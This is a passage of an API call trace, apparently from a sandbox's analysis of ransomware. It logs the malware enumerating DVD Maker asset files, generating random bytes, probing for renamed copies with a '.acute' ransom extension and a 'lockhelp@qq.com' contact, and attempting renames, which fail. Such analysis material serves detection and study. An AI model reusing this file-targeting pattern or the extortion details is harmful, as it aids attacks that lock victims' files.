[0274.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.591] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.591] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4815) returned 1 [0274.591] CloseHandle (hObject=0x30c) returned 1 [0274.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png")) returned 0x20 [0274.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.592] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.592] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3024) returned 1 [0274.592] CloseHandle (hObject=0x30c) returned 1 [0274.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png")) returned 0x20 [0274.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.592] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.593] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4866) returned 1 [0274.593] CloseHandle (hObject=0x30c) returned 1 [0274.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png")) returned 0x20 [0274.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.593] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.594] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3011) returned 1 [0274.594] CloseHandle (hObject=0x30c) returned 1 [0274.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png")) returned 0x20 [0274.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.595] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.595] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19112) returned 1 [0274.595] CloseHandle (hObject=0x30c) returned 1 [0274.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png")) returned 0x20 [0274.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.595] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.595] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6423) returned 1 [0274.595] CloseHandle (hObject=0x30c) returned 1 [0274.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png")) returned 0x20 [0274.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.595] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.596] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=169722) returned 1 [0274.596] CloseHandle (hObject=0x30c) returned 1 [0274.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png")) returned 0x20 [0274.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.599] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.603] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27964) returned 1 [0274.603] CloseHandle (hObject=0x30c) returned 1 [0274.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png")) returned 0x20 [0274.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.603] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.604] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3819) returned 1 [0274.604] CloseHandle (hObject=0x30c) returned 1 [0274.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0274.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.604] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.604] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3133) returned 1 [0274.604] CloseHandle (hObject=0x30c) returned 1 [0274.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0274.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.605] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.605] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3518) returned 1 [0274.605] CloseHandle (hObject=0x30c) returned 1 [0274.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0274.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.605] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.606] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3119) returned 1 [0274.606] CloseHandle (hObject=0x30c) returned 1 [0274.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0274.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.606] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.606] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5477696) returned 1 [0274.606] CloseHandle (hObject=0x30c) returned 1 [0274.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0x20 [0274.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0 [0274.606] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.607] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5749696) returned 1 [0274.607] CloseHandle (hObject=0x30c) returned 1 [0274.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0x20 [0274.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0 [0274.607] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.607] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1829606) returned 1 [0274.607] CloseHandle (hObject=0x30c) returned 1 [0274.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0x20 [0274.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD 